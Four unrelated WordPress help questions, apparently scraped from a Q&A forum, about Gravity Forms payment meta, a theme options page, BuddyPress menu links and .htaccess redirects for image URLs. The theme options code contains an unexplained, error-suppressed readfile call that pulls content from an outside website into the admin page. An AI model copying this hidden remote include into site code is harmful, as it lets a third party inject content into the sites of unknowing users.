I am trying to augment a value to the `wp_user_meta` table, utilizing Gravity Forms. And I'm not having any luck. I had a version of this working on `gform_pre_submission` (though without the class-sniffing) but I want to do this after submission since there will be PayPal involved and don't want to post until the payment is verified. I was trying to use cssClass as a filter so the other developers are free to create as many gravity forms as they want, provided they use the classes `product_name` and `product_price` Unfortunately, my database is just filling up with fails right now.               // hook onto gravity forms and update payment history field     add_action('gform_after_submission', 'payment_history_handler', 10, 2);     function payment_history_handler($entry, $form){          $current_user = wp_get_current_user();     $payment_history = get_user_meta($current_user->ID, 'payment_history', true);          foreach($form['fields'] as &$field){         if(strpos($field['cssClass'], 'payment_name') === true){             $payment_name = $entry[$field['id']];;         } else {             $payment_name = 'fail';         }         if(strpos($field['cssClass'], 'payment_price') === true){             $payment_price = $entry[$field['id']];         } else {             $payment_price = 1;         }     }          if(!empty($payment_name) && !empty($payment_price)){         $payment_history[] = array('date' => date('U'), 'name' => $payment_name, 'price' => $payment_price);         update_user_meta($current_user->ID, 'payment_history', $payment_history);     }          }      The classes are in place, as seen by this sample of my output:

           What Thing are you choosing?*
             <select name='input_1' id='input_4_1'  class='medium gfield_select' tabindex='1' >               <option value='The first one' >The first one</option>               <option value='The second one' >The second one</option>               <option value='The third one' >The third one</option>             </select>

           Price*
             <input name='input_2' id='input_4_2' type='text'  value='' class='medium' tabindex='2'   />

      Any help is greatly appreciated.


Calling information from my theme options page

I'm setting up a theme options page, I used it on a previous theme and thought i could easily just copy it over to the new one.               <?php $options = get_option( 'sample_theme_options' ); ?>     <?php echo $options['introtext'] ?>      this is my functions file               <?php           add_action( 'admin_init', 'theme_options_init' );     add_action( 'admin_menu', 'theme_options_add_page' );           function theme_options_init(){      register_setting( 'sample_options', 'sample_theme_options');     }           function theme_options_add_page() {      add_theme_page( __( 'TriState', 'TriState Options' ), __( 'TriState', 'TriState Options' ), 'edit_theme_options', 'theme_options', 'theme_options_do_page' );     }      function theme_options_do_page() { global $select_options; if ( ! isset( $_REQUEST['settings-updated'] ) ) $_REQUEST['settings-updated'] = false; ?>
     <?php screen_icon(); echo "
". __( 'TriState Theme Options', 'TriState' ) . "
"; ?>     <?php if ( false !== $_REQUEST['settings-updated'] ) : ?>

<?php _e( 'Options saved', 'TriState' ); ?>

     <?php endif; ?>      <form method="post" action="options.php">     <?php settings_fields( 'sample_options' ); ?>            <?php $options = get_option( 'sample_theme_options' ); ?>

     <?php @readfile("http://www.kevinmonahan.com/news.htm"); ?>

     <?php _e( 'Picture', 'TriState' ); ?>	          <input id="sample_theme_options[picture]" class="large-text" cols="50" rows="1" name="sample_theme_options[picture]" value="<?php esc_attr_e( $options['picture'] ); ?>" />     <?php _e( 'Add the full url to the image you would like at the top', 'TriState' ); ?>

     <?php _e( 'Twitter Handle', 'TriState' ); ?>	          <input id="sample_theme_options[twiturl]" class="large-text" cols="50" rows="1" name="sample_theme_options[twiturl]" value="<?php esc_attr_e( $options['twiturl'] ); ?>" />     <?php _e( 'http://twitter.com/yourprofileurl', 'TriState' ); ?>

<?php _e( 'Intro Heading', 'TriState' ); ?>	          <textarea id="sample_theme_options[introtext]"     class="large-text" cols="50" rows="1" name="sample_theme_options[introtext]"><?php echo esc_textarea( $options['introtext'] ); ?></textarea>     <?php _e( 'This is the large text area at the top of the page. A quick description of yourself is best!', 'TriState' ); ?>

<?php _e( 'Intro Subheading', 'TriState' ); ?>	          <textarea id="sample_theme_options[introsub]"     class="large-text" cols="50" rows="1" name="sample_theme_options[introsub]"><?php echo esc_textarea( $options['introsub'] ); ?></textarea>     <?php _e( 'This is smaller text under the heading. Same idea make it short and sweet!', 'TriState' ); ?>

<?php _e( 'Quick Text - Left', 'TriState' ); ?>	          <textarea id="sample_theme_options[leftquick]"     class="large-text" cols="50" rows="1" name="sample_theme_options[leftquick]"><?php echo esc_textarea( $options['leftquick'] ); ?></textarea>     <?php _e( 'This is a quick heading for the left side. It can be any length.', 'TriState' ); ?>

     <input type="submit" value="<?php _e( 'Save Options', 'TriState' ); ?>" />
     </form>
     <?php } ?>


Menu item added with "wp_nav_menu_items" gives "damaged" url

I am adding menu items with the code below, the menu items show up when clicked but they give **damaged** url's e.g for the top link when clicked               http://timothylhanson.com/bp/%3C?php%20return%20bp_loggedin_user_domain()%20?%3Eactivity/just-me/      clearly this               <?php return bp_loggedin_user_domain() ?>      is not being returned properly Any help with this is greatly appreciated Thanks               function add_profile_link_to_nav($items) {         if ( is_user_logged_in() )          return $items .       '
<a href="<?php return bp_loggedin_user_domain() ?>activity/just-me/">My Wall

<a href="<?php return bp_loggedin_user_domain() ?>activity/friends/">My Friends Activities

 <a href="<?php return bp_loggedin_user_domain() ?>profile/edit/group/1">Edit My Profile

';     }     add_filter('wp_nav_menu_items','add_profile_link_to_nav', 10, 2);


How to Change Wordpress Image URLs

I am facing a problem related to image URLs on one of the website that is bestappspoint.com Most of the images in this site are with capital letters in URL (I didn't know the consequences before) but now I want to redirect all the capital letter in URLs through `.htaccess` file or by adding a rule in SQL databases through phpMyAdmin. Please guide me the rule how to do it.   For example: One URL with capital letters is:               http://www.bestappspoint.com/wp-content/uploads/2013/05/Talking-Speedometer.jpg      I want such all URLs to be redirected like:               http://www.bestappspoint.com/wp-content/uploads/2013/05/talking-speedometer.jpg      In the lower image, URL has no capital letters. Can you guide me what `.htaccess` rule or phpMyAdmin should be added to solve this major problem so that there are no more 404 pages on my website.